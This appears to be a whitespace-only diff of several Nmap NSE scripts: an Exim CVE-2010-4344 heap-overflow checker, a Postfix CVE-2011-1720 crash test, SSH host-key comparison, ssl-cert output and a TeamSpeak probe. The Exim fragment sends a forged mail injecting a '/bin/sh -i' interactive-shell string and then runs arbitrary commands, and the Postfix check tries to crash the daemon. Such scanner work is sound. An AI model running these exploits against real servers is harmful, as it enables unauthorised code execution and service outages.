@@ -185,14 +185,14 @@ local function exploit_heap(socket, smtp_opts)
local msg_len, log_buf_size = smtp_opts.size + (1024*256), 8192 local msg_len, log_buf_size = smtp_opts.size + (1024*256), 8192
local log_buf = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from" local log_buf = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from"
local log_host = string.format("%s(%s)", local log_host = string.format("%s(%s)",
smtp_opts.ehlo_host ~= smtp_opts.domain and smtp_opts.ehlo_host ~= smtp_opts.domain and
smtp_opts.ehlo_host.." " or "", smtp_opts.ehlo_host.." " or "",
smtp_opts.domain) smtp_opts.domain)
log_buf = string.format("%s <%s> H=%s [%s]: message too big: ".. log_buf = string.format("%s <%s> H=%s [%s]: message too big: "..
"read=%s max=%s\nEnvelope-from: <%s>\nEnvelope-to: <%s>\n", "read=%s max=%s\nEnvelope-from: <%s>\nEnvelope-to: <%s>\n",
log_buf, smtp_opts.mailfrom, log_host, smtp_opts.domain_ip, log_buf, smtp_opts.mailfrom, log_host, smtp_opts.domain_ip,
msg_len, smtp_opts.size, smtp_opts.mailfrom, msg_len, smtp_opts.size, smtp_opts.mailfrom,
smtp_opts.mailto) smtp_opts.mailto)
log_buf_size = log_buf_size - 3 log_buf_size = log_buf_size - 3
local filler, hdrs, nmap_hdr = string.rep("X", 8 * 16), "", "NmapHeader" local filler, hdrs, nmap_hdr = string.rep("X", 8 * 16), "", "NmapHeader"
@@ -221,7 +221,7 @@ local function exploit_heap(socket, smtp_opts)
for fd = 3, 12 do for fd = 3, 12 do
hdrx = hdrx.. hdrx = hdrx..
string.format("${run{/bin/sh -c 'exec /bin/sh -i <&%d >&0 2>&0'}} ", string.format("${run{/bin/sh -c 'exec /bin/sh -i <&%d >&0 2>&0'}} ",
fd) fd)
end end
end end
@@ -231,7 +231,7 @@ local function exploit_heap(socket, smtp_opts)
end end
stdnse.print_debug(1, "%s: sending forged mail, size: %dMB", stdnse.print_debug(1, "%s: sending forged mail, size: %dMB",
SCRIPT_NAME, msg_len / (1024*1024)) SCRIPT_NAME, msg_len / (1024*1024))
-- use low socket level functions. -- use low socket level functions.
status, ret = socket:send(hdrs) status, ret = socket:send(hdrs)
@@ -279,24 +279,24 @@ local function exploit_heap(socket, smtp_opts)
end end
stdnse.print_debug(2, "%s: the forged mail was sent successfully.", stdnse.print_debug(2, "%s: the forged mail was sent successfully.",
SCRIPT_NAME) SCRIPT_NAME)
-- second round -- second round
status, response = smtp.query(socket, "MAIL", status, response = smtp.query(socket, "MAIL",
string.format("FROM:<%s>", smtp_opts.mailfrom)) string.format("FROM:<%s>", smtp_opts.mailfrom))
if not status then if not status then
return status, response return status, response
end end
status, ret = smtp.query(socket, "RCPT", status, ret = smtp.query(socket, "RCPT",
string.format("TO:<%s>", smtp_opts.mailto)) string.format("TO:<%s>", smtp_opts.mailto))
if not status then if not status then
return status, ret return status, ret
end end
if response:match("sh:%s") or ret:match("sh:%s") then if response:match("sh:%s") or ret:match("sh:%s") then
stdnse.print_debug(2, stdnse.print_debug(2,
"%s: successfully exploited the Exim heap overflow.", SCRIPT_NAME) "%s: successfully exploited the Exim heap overflow.", SCRIPT_NAME)
exploited = "heap-exploited" exploited = "heap-exploited"
end end
@@ -314,11 +314,11 @@ local function check_exim(smtp_opts)
local exim_heap_result, exim_priv_result = "", "" local exim_heap_result, exim_priv_result = "", ""
local socket, ret = smtp.connect(smtp_opts.host, local socket, ret = smtp.connect(smtp_opts.host,
smtp_opts.port, smtp_opts.port,
{ssl = true, {ssl = true,
timeout = 8000, timeout = 8000,
recv_before = true, recv_before = true,
lines = 1}) lines = 1})
if not socket then if not socket then
return smtp_finish(nil, socket, ret) return smtp_finish(nil, socket, ret)
@@ -332,31 +332,31 @@ local function check_exim(smtp_opts)
smtp_server.smtpd = smtp_server.banner:match("Exim") smtp_server.smtpd = smtp_server.banner:match("Exim")
if smtp_server.smtpd and smtp_server.version then if smtp_server.smtpd and smtp_server.version then
table.insert(out, 1, table.insert(out, 1,
string.format("Exim version: %.02f", smtp_server.version)) string.format("Exim version: %.02f", smtp_server.version))
if smtp_server.version > exim_heap_ver then if smtp_server.version > exim_heap_ver then
exim_heap_result = string.format(" Exim (%s): NOT VULNERABLE", exim_heap_result = string.format(" Exim (%s): NOT VULNERABLE",
heap_cve) heap_cve)
else else
exim_heap_result = string.format(" Exim (%s): LIKELY VULNERABLE", exim_heap_result = string.format(" Exim (%s): LIKELY VULNERABLE",
heap_cve) heap_cve)
end end
if smtp_server.version > exim_priv_ver then if smtp_server.version > exim_priv_ver then
exim_priv_result = string.format(" Exim (%s): NOT VULNERABLE", exim_priv_result = string.format(" Exim (%s): NOT VULNERABLE",
priv_cve) priv_cve)
else else
exim_priv_result = string.format(" Exim (%s): LIKELY VULNERABLE", exim_priv_result = string.format(" Exim (%s): LIKELY VULNERABLE",
priv_cve) priv_cve)
end end
else else
return smtp_finish(socket, true, return smtp_finish(socket, true,
'The SMTP server is not Exim: NOT VULNERABLE') 'The SMTP server is not Exim: NOT VULNERABLE')
end end
else else
return smtp_finish(socket, false, return smtp_finish(socket, false,
'failed to read the SMTP banner.') 'failed to read the SMTP banner.')
end end
if not smtp_opts.exploit then if not smtp_opts.exploit then
@@ -377,7 +377,7 @@ local function check_exim(smtp_opts)
for _, line in pairs(stdnse.strsplit("\r?\n", response)) do for _, line in pairs(stdnse.strsplit("\r?\n", response)) do
if not smtp_opts.ehlo_host or not smtp_opts.domain_ip then if not smtp_opts.ehlo_host or not smtp_opts.domain_ip then
smtp_opts.ehlo_host, smtp_opts.domain_ip = smtp_opts.ehlo_host, smtp_opts.domain_ip =
line:match("%d+.*Hello%s(.*)%s%[(.*)%]") line:match("%d+.*Hello%s(.*)%s%[(.*)%]")
end end
if not smtp_server.size then if not smtp_server.size then
smtp_server.size = line:match("%d+%-SIZE%s(%d+)") smtp_server.size = line:match("%d+%-SIZE%s(%d+)")
@@ -402,8 +402,8 @@ local function check_exim(smtp_opts)
end end
if not smtp_opts.mailto then if not smtp_opts.mailto then
smtp_opts.mailto = string.format("postmaster@%s", smtp_opts.mailto = string.format("postmaster@%s",
smtp_opts.host.targetname and smtp_opts.host.targetname and
smtp_opts.host.targetname or 'localhost') smtp_opts.host.targetname or 'localhost')
end end
status, ret = exploit_heap(socket, smtp_opts) status, ret = exploit_heap(socket, smtp_opts)
@@ -411,20 +411,20 @@ local function check_exim(smtp_opts)
return smtp_finish(nil, status, ret) return smtp_finish(nil, status, ret)
elseif ret then elseif ret then
exim_heap_result = string.format(" Exim (%s): VULNERABLE", exim_heap_result = string.format(" Exim (%s): VULNERABLE",
heap_cve) heap_cve)
exim_priv_result = string.format(" Exim (%s): VULNERABLE", exim_priv_result = string.format(" Exim (%s): VULNERABLE",
priv_cve) priv_cve)
if ret:match("exploited") then if ret:match("exploited") then
-- clear socket -- clear socket
socket:receive_lines(1) socket:receive_lines(1)
if smtp_opts.shell_cmd then if smtp_opts.shell_cmd then
status, response = send_recv(socket, status, response = send_recv(socket,
string.format("%s\n", smtp_opts.shell_cmd)) string.format("%s\n", smtp_opts.shell_cmd))
if status then if status then
exim_heap_result = exim_heap_result .. exim_heap_result = exim_heap_result ..
string.format("\n Shell command '%s': %s", string.format("\n Shell command '%s': %s",
smtp_opts.shell_cmd, smtp_opts.shell_cmd,
string.gsub(response, "^%$*%s*(.-)\n*%$*$", "%1")) string.gsub(response, "^%$*%s*(.-)\n*%$*$", "%1"))
end end
end end
@@ -436,7 +436,7 @@ local function check_exim(smtp_opts)
end end
else else
exim_heap_result = string.format(" Exim (%s): NOT VULNERABLE", exim_heap_result = string.format(" Exim (%s): NOT VULNERABLE",
heap_cve) heap_cve)
end end
table.insert(out, 3, exim_heap_result) table.insert(out, 3, exim_heap_result)
@@ -449,12 +449,12 @@ action = function(host, port)
host = host, host = host,
port = port, port = port,
domain = stdnse.get_script_args('smtp.domain') or domain = stdnse.get_script_args('smtp.domain') or
'nmap.scanme.org', 'nmap.scanme.org',
mailfrom = stdnse.get_script_args('smtp-vuln-cve2010-4344.mailfrom'), mailfrom = stdnse.get_script_args('smtp-vuln-cve2010-4344.mailfrom'),
mailto = stdnse.get_script_args('smtp-vuln-cve2010-4344.mailto'), mailto = stdnse.get_script_args('smtp-vuln-cve2010-4344.mailto'),
exploit = stdnse.get_script_args('smtp-vuln-cve2010-4344.exploit'), exploit = stdnse.get_script_args('smtp-vuln-cve2010-4344.exploit'),
shell_cmd = stdnse.get_script_args('exploit.cmd') or shell_cmd = stdnse.get_script_args('exploit.cmd') or
stdnse.get_script_args('smtp-vuln-cve2010-4344.cmd'), stdnse.get_script_args('smtp-vuln-cve2010-4344.cmd'),
} }
if smtp_opts.shell_cmd then if smtp_opts.shell_cmd then
smtp_opts.exploit = true smtp_opts.exploit = true

View File

@@ -49,7 +49,7 @@ categories = {"intrusive", "vuln"}
portrule = shortport.port_or_service({25, 465, 587}, portrule = shortport.port_or_service({25, 465, 587},
{"smtp", "smtps", "submission"}) {"smtp", "smtps", "submission"})
local AUTH_VULN = { local AUTH_VULN = {
-- AUTH MECHANISM -- AUTH MECHANISM
@@ -116,7 +116,7 @@ end
local function kill_smtpd(socket, mech, mkill) local function kill_smtpd(socket, mech, mkill)
local killed, ret = false local killed, ret = false
local status, response = smtp.query(socket, "AUTH", local status, response = smtp.query(socket, "AUTH",
string.format("%s", mech)) string.format("%s", mech))
if not status then if not status then
return status, response return status, response
end end
@@ -130,7 +130,7 @@ local function kill_smtpd(socket, mech, mkill)
smtp.query(socket, "*") smtp.query(socket, "*")
status, response = smtp.query(socket, "AUTH", status, response = smtp.query(socket, "AUTH",
string.format("%s", mkill)) string.format("%s", mkill))
if status then if status then
-- abort the last AUTH command. -- abort the last AUTH command.
status, response = smtp.query(socket, "*") status, response = smtp.query(socket, "*")
@@ -152,10 +152,10 @@ end
-- http://www.postfix.org/CVE-2011-1720.html -- http://www.postfix.org/CVE-2011-1720.html
local function check_smtpd(smtp_opts) local function check_smtpd(smtp_opts)
local socket, ret = smtp.connect(smtp_opts.host, local socket, ret = smtp.connect(smtp_opts.host,
smtp_opts.port, smtp_opts.port,
{ssl = false, {ssl = false,
recv_before = true, recv_before = true,
lines = 1}) lines = 1})
if not socket then if not socket then
return socket, ret return socket, ret
@@ -206,7 +206,7 @@ local function check_smtpd(smtp_opts)
if (#auth_mech_str > 0) then if (#auth_mech_str > 0) then
vuln.extra_info = {} vuln.extra_info = {}
table.insert(vuln.extra_info, table.insert(vuln.extra_info,
string.format("Available AUTH MECHANISMS: %s", auth_mech_str)) string.format("Available AUTH MECHANISMS: %s", auth_mech_str))
-- maybe vulnerable -- maybe vulnerable
if next(auth_mech_list) then if next(auth_mech_list) then
@@ -231,7 +231,7 @@ local function check_smtpd(smtp_opts)
table.insert(vuln.check_results, table.insert(vuln.check_results,
string.format("AUTH tests:%s", auth_tests)) string.format("AUTH tests:%s", auth_tests))
table.insert(vuln.check_results, table.insert(vuln.check_results,
string.format("VULNERABLE (%s => %s)", mech, mkill)) string.format("VULNERABLE (%s => %s)", mech, mkill))
return smtp_finish(nil, true) return smtp_finish(nil, true)
end end
@@ -243,11 +243,11 @@ local function check_smtpd(smtp_opts)
end end
table.insert(vuln.check_results, string.format("AUTH tests:%s", table.insert(vuln.check_results, string.format("AUTH tests:%s",
auth_tests)) auth_tests))
end end
else else
stdnse.print_debug(2, "%s: Authentication is not available", stdnse.print_debug(2, "%s: Authentication is not available",
SCRIPT_NAME) SCRIPT_NAME)
table.insert(vuln.check_results, "Authentication is not available") table.insert(vuln.check_results, "Authentication is not available")
end end
@@ -260,7 +260,7 @@ action = function(host, port)
host = host, host = host,
port = port, port = port,
domain = stdnse.get_script_args('smtp-vuln-cve2011-1720.domain') or domain = stdnse.get_script_args('smtp-vuln-cve2011-1720.domain') or
smtp.get_domain(host), smtp.get_domain(host),
vuln = { vuln = {
title = 'Postfix SMTP server Cyrus SASL Memory Corruption', title = 'Postfix SMTP server Cyrus SASL Memory Corruption',
IDS = {CVE = 'CVE-2011-1720', OSVDB = '72259'}, IDS = {CVE = 'CVE-2011-1720', OSVDB = '72259'},

View File

@@ -170,7 +170,7 @@ local function check_keys(host, keys, f)
if not foundhostname then if not foundhostname then
for _, k in ipairs(keys_found) do for _, k in ipairs(keys_found) do
if ("%s %s"):format(parts[2], parts[3]) == k then if ("%s %s"):format(parts[2], parts[3]) == k then
table.insert(same_key_hashed, {lnumber = lnumber}) table.insert(same_key_hashed, {lnumber = lnumber})
end end
end end
end end
@@ -182,9 +182,9 @@ local function check_keys(host, keys, f)
else else
-- Is the key the same but the clear text hostname isn't? -- Is the key the same but the clear text hostname isn't?
for _, k in ipairs(keys_found) do for _, k in ipairs(keys_found) do
if ("%s %s"):format(parts[2], parts[3]) == k then if ("%s %s"):format(parts[2], parts[3]) == k then
table.insert(same_key, {name=parts[1], key=("%s %s"):format(parts[2], parts[3]), lnumber=lnumber}) table.insert(same_key, {name=parts[1], key=("%s %s"):format(parts[2], parts[3]), lnumber=lnumber})
end end
end end
end end
end end
@@ -204,7 +204,7 @@ local function check_keys(host, keys, f)
end end
end end
if not matched then if not matched then
table.insert(different_keys, k) table.insert(different_keys, k)
end end
end end
@@ -214,30 +214,30 @@ local function check_keys(host, keys, f)
return_string = return_string .. "\n\t" .. "No entry for scanned host found in known_hosts file." return_string = return_string .. "\n\t" .. "No entry for scanned host found in known_hosts file."
else else
if next(matched_keys) or next(same_key_hashed) or next(same_key) then if next(matched_keys) or next(same_key_hashed) or next(same_key) then
return_string = return_string .. "\n\tGOOD Matches in known_hosts file: " return_string = return_string .. "\n\tGOOD Matches in known_hosts file: "
if next(matched_keys) then if next(matched_keys) then
for __, gm in ipairs(matched_keys) do for __, gm in ipairs(matched_keys) do
return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name
end
end end
if next(same_key) then end
for __, gm in ipairs(same_key) do if next(same_key) then
return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name for __, gm in ipairs(same_key) do
end return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name
end end
end
if next(same_key_hashed) then if next(same_key_hashed) then
for __, gm in ipairs(same_key_hashed) do for __, gm in ipairs(same_key_hashed) do
return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": <unknown>" return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": <unknown>"
end
end end
end
if different_keys ~= 0 then if different_keys ~= 0 then
return_string = return_string .. "\n\tWRONG Matches in known_hosts file: " return_string = return_string .. "\n\tWRONG Matches in known_hosts file: "
for __, gm in ipairs(different_keys) do for __, gm in ipairs(different_keys) do
return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name
end
end end
end
end end
end end
return true, return_string return true, return_string
@@ -275,11 +275,11 @@ local function portaction(host, port)
for _, key in ipairs( keys ) do for _, key in ipairs( keys ) do
add_key_to_registry( host, key ) add_key_to_registry( host, key )
table.insert(output_tab, { table.insert(output_tab, {
fingerprint=stdnse.tohex(key.fingerprint), fingerprint=stdnse.tohex(key.fingerprint),
type=key.key_type, type=key.key_type,
bits=key.bits, bits=key.bits,
key=base64.enc(key.key), key=base64.enc(key.key),
}) })
if format:find( 'hex', 1, true ) or all_formats then if format:find( 'hex', 1, true ) or all_formats then
table.insert( output, ssh1.fingerprint_hex( key.fingerprint, key.algorithm, key.bits ) ) table.insert( output, ssh1.fingerprint_hex( key.fingerprint, key.algorithm, key.bits ) )
end end

View File

@@ -116,60 +116,60 @@ categories = { "default", "safe", "discovery" }
portrule = function(host, port) portrule = function(host, port)
return shortport.ssl(host, port) or sslcert.isPortSupported(port) return shortport.ssl(host, port) or sslcert.isPortSupported(port)
end end
-- Find the index of a value in an array. -- Find the index of a value in an array.
function table_find(t, value) function table_find(t, value)
local i, v local i, v
for i, v in ipairs(t) do for i, v in ipairs(t) do
if v == value then if v == value then
return i return i
end
end end
return nil end
return nil
end end
function date_to_string(date) function date_to_string(date)
if not date then if not date then
return "MISSING" return "MISSING"
end end
if type(date) == "string" then if type(date) == "string" then
return string.format("Can't parse; string is \"%s\"", date) return string.format("Can't parse; string is \"%s\"", date)
else else
return stdnse.format_timestamp(stdnse.date_to_timestamp(date, 0), 0) return stdnse.format_timestamp(stdnse.date_to_timestamp(date, 0), 0)
end end
end end
-- These are the subject/issuer name fields that will be shown, in this order, -- These are the subject/issuer name fields that will be shown, in this order,
-- without a high verbosity. -- without a high verbosity.
local NON_VERBOSE_FIELDS = { "commonName", "organizationName", local NON_VERBOSE_FIELDS = { "commonName", "organizationName",
"stateOrProvinceName", "countryName" } "stateOrProvinceName", "countryName" }
function stringify_name(name) function stringify_name(name)
local fields = {} local fields = {}
local _, k, v local _, k, v
if not name then if not name then
return nil return nil
end
for _, k in ipairs(NON_VERBOSE_FIELDS) do
v = name[k]
if v then
fields[#fields + 1] = string.format("%s=%s", k, v)
end end
for _, k in ipairs(NON_VERBOSE_FIELDS) do end
v = name[k] if nmap.verbosity() > 1 then
if v then for k, v in pairs(name) do
fields[#fields + 1] = string.format("%s=%s", k, v) -- Don't include a field twice.
if not table_find(NON_VERBOSE_FIELDS, k) then
if type(k) == "table" then
k = stdnse.strjoin(".", k)
end end
fields[#fields + 1] = string.format("%s=%s", k, v)
end
end end
if nmap.verbosity() > 1 then end
for k, v in pairs(name) do return stdnse.strjoin("/", fields)
-- Don't include a field twice.
if not table_find(NON_VERBOSE_FIELDS, k) then
if type(k) == "table" then
k = stdnse.strjoin(".", k)
end
fields[#fields + 1] = string.format("%s=%s", k, v)
end
end
end
return stdnse.strjoin("/", fields)
end end
local function name_to_table(name) local function name_to_table(name)
@@ -184,61 +184,61 @@ local function name_to_table(name)
end end
local function output_tab(cert) local function output_tab(cert)
local o = stdnse.output_table() local o = stdnse.output_table()
o.subject = name_to_table(cert.subject) o.subject = name_to_table(cert.subject)
o.issuer = name_to_table(cert.issuer) o.issuer = name_to_table(cert.issuer)
o.pubkey = cert.pubkey o.pubkey = cert.pubkey
o.validity = {} o.validity = {}
for k, v in pairs(cert.validity) do for k, v in pairs(cert.validity) do
if type(v)=="string" then if type(v)=="string" then
o.validity[k] = v o.validity[k] = v
else else
o.validity[k] = stdnse.format_timestamp(stdnse.date_to_timestamp(v, 0), 0) o.validity[k] = stdnse.format_timestamp(stdnse.date_to_timestamp(v, 0), 0)
end
end end
o.md5 = stdnse.tohex(cert:digest("md5")) end
o.sha1 = stdnse.tohex(cert:digest("sha1")) o.md5 = stdnse.tohex(cert:digest("md5"))
o.pem = cert.pem o.sha1 = stdnse.tohex(cert:digest("sha1"))
return o o.pem = cert.pem
return o
end end
local function output_str(cert) local function output_str(cert)
local lines = {} local lines = {}
lines[#lines + 1] = "Subject: " .. stringify_name(cert.subject) lines[#lines + 1] = "Subject: " .. stringify_name(cert.subject)
if nmap.verbosity() > 0 then if nmap.verbosity() > 0 then
lines[#lines + 1] = "Issuer: " .. stringify_name(cert.issuer) lines[#lines + 1] = "Issuer: " .. stringify_name(cert.issuer)
end end
if nmap.verbosity() > 0 then if nmap.verbosity() > 0 then
lines[#lines + 1] = "Public Key type: " .. cert.pubkey.type lines[#lines + 1] = "Public Key type: " .. cert.pubkey.type
lines[#lines + 1] = "Public Key bits: " .. cert.pubkey.bits lines[#lines + 1] = "Public Key bits: " .. cert.pubkey.bits
end end
lines[#lines + 1] = "Not valid before: " .. lines[#lines + 1] = "Not valid before: " ..
date_to_string(cert.validity.notBefore) date_to_string(cert.validity.notBefore)
lines[#lines + 1] = "Not valid after: " .. lines[#lines + 1] = "Not valid after: " ..
date_to_string(cert.validity.notAfter) date_to_string(cert.validity.notAfter)
if nmap.verbosity() > 0 then if nmap.verbosity() > 0 then
lines[#lines + 1] = "MD5: " .. stdnse.tohex(cert:digest("md5"), { separator = " ", group = 4 }) lines[#lines + 1] = "MD5: " .. stdnse.tohex(cert:digest("md5"), { separator = " ", group = 4 })
lines[#lines + 1] = "SHA-1: " .. stdnse.tohex(cert:digest("sha1"), { separator = " ", group = 4 }) lines[#lines + 1] = "SHA-1: " .. stdnse.tohex(cert:digest("sha1"), { separator = " ", group = 4 })
end end
if nmap.verbosity() > 1 then if nmap.verbosity() > 1 then
lines[#lines + 1] = cert.pem lines[#lines + 1] = cert.pem
end end
return stdnse.strjoin("\n", lines) return stdnse.strjoin("\n", lines)
end end
action = function(host, port) action = function(host, port)
local status, cert = sslcert.getCertificate(host, port) local status, cert = sslcert.getCertificate(host, port)
if ( not(status) ) then if ( not(status) ) then
return return
end end
return output_tab(cert), output_str(cert) return output_tab(cert), output_str(cert)
end end

View File

@@ -26,36 +26,36 @@ local payload = "\xf4\xbe\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x0
portrule = shortport.version_port_or_service({8767}, "teamspeak2", "udp") portrule = shortport.version_port_or_service({8767}, "teamspeak2", "udp")
action = function(host, port) action = function(host, port)
local status, result = comm.exchange( local status, result = comm.exchange(
host, port.number, payload, { proto = "udp", timeout = 3000 }) host, port.number, payload, { proto = "udp", timeout = 3000 })
if not status then if not status then
return
end
nmap.set_port_state(host, port, "open")
local name, platform, version = string.match(result,
"^\xf4\xbe\x04\0\0\0\0\0.............([^\0]*)%G+([^\0]*)\0*(........)")
if not name then
return
end
port.version.name = "teamspeak2"
port.version.name_confidence = 10
port.version.product = "TeamSpeak"
if name == "" then
port.version.version = "2"
else
local _, v_a, v_b, v_c, v_d = bin.unpack("<SSSS", version)
port.version.version = v_a .. "." .. v_b .. "." .. v_c .. "." .. v_d
port.version.extrainfo = "name: " .. name .. "; no password"
if platform == "Win32" then
port.version.ostype = "Windows"
elseif platform == "Linux" then
port.version.ostype = "Linux"
end
end
nmap.set_port_version(host, port, "hardmatched")
return return
end
nmap.set_port_state(host, port, "open")
local name, platform, version = string.match(result,
"^\xf4\xbe\x04\0\0\0\0\0.............([^\0]*)%G+([^\0]*)\0*(........)")
if not name then
return
end
port.version.name = "teamspeak2"
port.version.name_confidence = 10
port.version.product = "TeamSpeak"
if name == "" then
port.version.version = "2"
else
local _, v_a, v_b, v_c, v_d = bin.unpack("<SSSS", version)
port.version.version = v_a .. "." .. v_b .. "." .. v_c .. "." .. v_d
port.version.extrainfo = "name: " .. name .. "; no password"
if platform == "Win32" then
port.version.ostype = "Windows"
elseif platform == "Linux" then
port.version.ostype = "Linux"
end
end
nmap.set_port_version(host, port, "hardmatched")
return
end end

View File

@@ -156,76 +156,76 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = { "default", "discovery", "safe", "version" } categories = { "default", "discovery", "safe", "version" }
local crypt_head = { local crypt_head = {
0x80,0xe5,0x0e,0x38,0xba,0x63,0x4c,0x99,0x88,0x63,0x4c,0xd6,0x54,0xb8,0x65,0x7e, 0x80,0xe5,0x0e,0x38,0xba,0x63,0x4c,0x99,0x88,0x63,0x4c,0xd6,0x54,0xb8,0x65,0x7e,
0xbf,0x8a,0xf0,0x17,0x8a,0xaa,0x4d,0x0f,0xb7,0x23,0x27,0xf6,0xeb,0x12,0xf8,0xea, 0xbf,0x8a,0xf0,0x17,0x8a,0xaa,0x4d,0x0f,0xb7,0x23,0x27,0xf6,0xeb,0x12,0xf8,0xea,
0x17,0xb7,0xcf,0x52,0x57,0xcb,0x51,0xcf,0x1b,0x14,0xfd,0x6f,0x84,0x38,0xb5,0x24, 0x17,0xb7,0xcf,0x52,0x57,0xcb,0x51,0xcf,0x1b,0x14,0xfd,0x6f,0x84,0x38,0xb5,0x24,
0x11,0xcf,0x7a,0x75,0x7a,0xbb,0x78,0x74,0xdc,0xbc,0x42,0xf0,0x17,0x3f,0x5e,0xeb, 0x11,0xcf,0x7a,0x75,0x7a,0xbb,0x78,0x74,0xdc,0xbc,0x42,0xf0,0x17,0x3f,0x5e,0xeb,
0x74,0x77,0x04,0x4e,0x8c,0xaf,0x23,0xdc,0x65,0xdf,0xa5,0x65,0xdd,0x7d,0xf4,0x3c, 0x74,0x77,0x04,0x4e,0x8c,0xaf,0x23,0xdc,0x65,0xdf,0xa5,0x65,0xdd,0x7d,0xf4,0x3c,
0x4c,0x95,0xbd,0xeb,0x65,0x1c,0xf4,0x24,0x5d,0x82,0x18,0xfb,0x50,0x86,0xb8,0x53, 0x4c,0x95,0xbd,0xeb,0x65,0x1c,0xf4,0x24,0x5d,0x82,0x18,0xfb,0x50,0x86,0xb8,0x53,
0xe0,0x4e,0x36,0x96,0x1f,0xb7,0xcb,0xaa,0xaf,0xea,0xcb,0x20,0x27,0x30,0x2a,0xae, 0xe0,0x4e,0x36,0x96,0x1f,0xb7,0xcb,0xaa,0xaf,0xea,0xcb,0x20,0x27,0x30,0x2a,0xae,
0xb9,0x07,0x40,0xdf,0x12,0x75,0xc9,0x09,0x82,0x9c,0x30,0x80,0x5d,0x8f,0x0d,0x09, 0xb9,0x07,0x40,0xdf,0x12,0x75,0xc9,0x09,0x82,0x9c,0x30,0x80,0x5d,0x8f,0x0d,0x09,
0xa1,0x64,0xec,0x91,0xd8,0x8a,0x50,0x1f,0x40,0x5d,0xf7,0x08,0x2a,0xf8,0x60,0x62, 0xa1,0x64,0xec,0x91,0xd8,0x8a,0x50,0x1f,0x40,0x5d,0xf7,0x08,0x2a,0xf8,0x60,0x62,
0xa0,0x4a,0x8b,0xba,0x4a,0x6d,0x00,0x0a,0x93,0x32,0x12,0xe5,0x07,0x01,0x65,0xf5, 0xa0,0x4a,0x8b,0xba,0x4a,0x6d,0x00,0x0a,0x93,0x32,0x12,0xe5,0x07,0x01,0x65,0xf5,
0xff,0xe0,0xae,0xa7,0x81,0xd1,0xba,0x25,0x62,0x61,0xb2,0x85,0xad,0x7e,0x9d,0x3f, 0xff,0xe0,0xae,0xa7,0x81,0xd1,0xba,0x25,0x62,0x61,0xb2,0x85,0xad,0x7e,0x9d,0x3f,
0x49,0x89,0x26,0xe5,0xd5,0xac,0x9f,0x0e,0xd7,0x6e,0x47,0x94,0x16,0x84,0xc8,0xff, 0x49,0x89,0x26,0xe5,0xd5,0xac,0x9f,0x0e,0xd7,0x6e,0x47,0x94,0x16,0x84,0xc8,0xff,
0x44,0xea,0x04,0x40,0xe0,0x33,0x11,0xa3,0x5b,0x1e,0x82,0xff,0x7a,0x69,0xe9,0x2f, 0x44,0xea,0x04,0x40,0xe0,0x33,0x11,0xa3,0x5b,0x1e,0x82,0xff,0x7a,0x69,0xe9,0x2f,
0xfb,0xea,0x9a,0xc6,0x7b,0xdb,0xb1,0xff,0x97,0x76,0x56,0xf3,0x52,0xc2,0x3f,0x0f, 0xfb,0xea,0x9a,0xc6,0x7b,0xdb,0xb1,0xff,0x97,0x76,0x56,0xf3,0x52,0xc2,0x3f,0x0f,
0xb6,0xac,0x77,0xc4,0xbf,0x59,0x5e,0x80,0x74,0xbb,0xf2,0xde,0x57,0x62,0x4c,0x1a, 0xb6,0xac,0x77,0xc4,0xbf,0x59,0x5e,0x80,0x74,0xbb,0xf2,0xde,0x57,0x62,0x4c,0x1a,
0xff,0x95,0x6d,0xc7,0x04,0xa2,0x3b,0xc4,0x1b,0x72,0xc7,0x6c,0x82,0x60,0xd1,0x0d 0xff,0x95,0x6d,0xc7,0x04,0xa2,0x3b,0xc4,0x1b,0x72,0xc7,0x6c,0x82,0x60,0xd1,0x0d
} }
local crypt_data = { local crypt_data = {
0x82,0x8b,0x7f,0x68,0x90,0xe0,0x44,0x09,0x19,0x3b,0x8e,0x5f,0xc2,0x82,0x38,0x23, 0x82,0x8b,0x7f,0x68,0x90,0xe0,0x44,0x09,0x19,0x3b,0x8e,0x5f,0xc2,0x82,0x38,0x23,
0x6d,0xdb,0x62,0x49,0x52,0x6e,0x21,0xdf,0x51,0x6c,0x76,0x37,0x86,0x50,0x7d,0x48, 0x6d,0xdb,0x62,0x49,0x52,0x6e,0x21,0xdf,0x51,0x6c,0x76,0x37,0x86,0x50,0x7d,0x48,
0x1f,0x65,0xe7,0x52,0x6a,0x88,0xaa,0xc1,0x32,0x2f,0xf7,0x54,0x4c,0xaa,0x6d,0x7e, 0x1f,0x65,0xe7,0x52,0x6a,0x88,0xaa,0xc1,0x32,0x2f,0xf7,0x54,0x4c,0xaa,0x6d,0x7e,
0x6d,0xa9,0x8c,0x0d,0x3f,0xff,0x6c,0x09,0xb3,0xa5,0xaf,0xdf,0x98,0x02,0xb4,0xbe, 0x6d,0xa9,0x8c,0x0d,0x3f,0xff,0x6c,0x09,0xb3,0xa5,0xaf,0xdf,0x98,0x02,0xb4,0xbe,
0x6d,0x69,0x0d,0x42,0x73,0xe4,0x34,0x50,0x07,0x30,0x79,0x41,0x2f,0x08,0x3f,0x42, 0x6d,0x69,0x0d,0x42,0x73,0xe4,0x34,0x50,0x07,0x30,0x79,0x41,0x2f,0x08,0x3f,0x42,
0x73,0xa7,0x68,0xfa,0xee,0x88,0x0e,0x6e,0xa4,0x70,0x74,0x22,0x16,0xae,0x3c,0x81, 0x73,0xa7,0x68,0xfa,0xee,0x88,0x0e,0x6e,0xa4,0x70,0x74,0x22,0x16,0xae,0x3c,0x81,
0x14,0xa1,0xda,0x7f,0xd3,0x7c,0x48,0x7d,0x3f,0x46,0xfb,0x6d,0x92,0x25,0x17,0x36, 0x14,0xa1,0xda,0x7f,0xd3,0x7c,0x48,0x7d,0x3f,0x46,0xfb,0x6d,0x92,0x25,0x17,0x36,
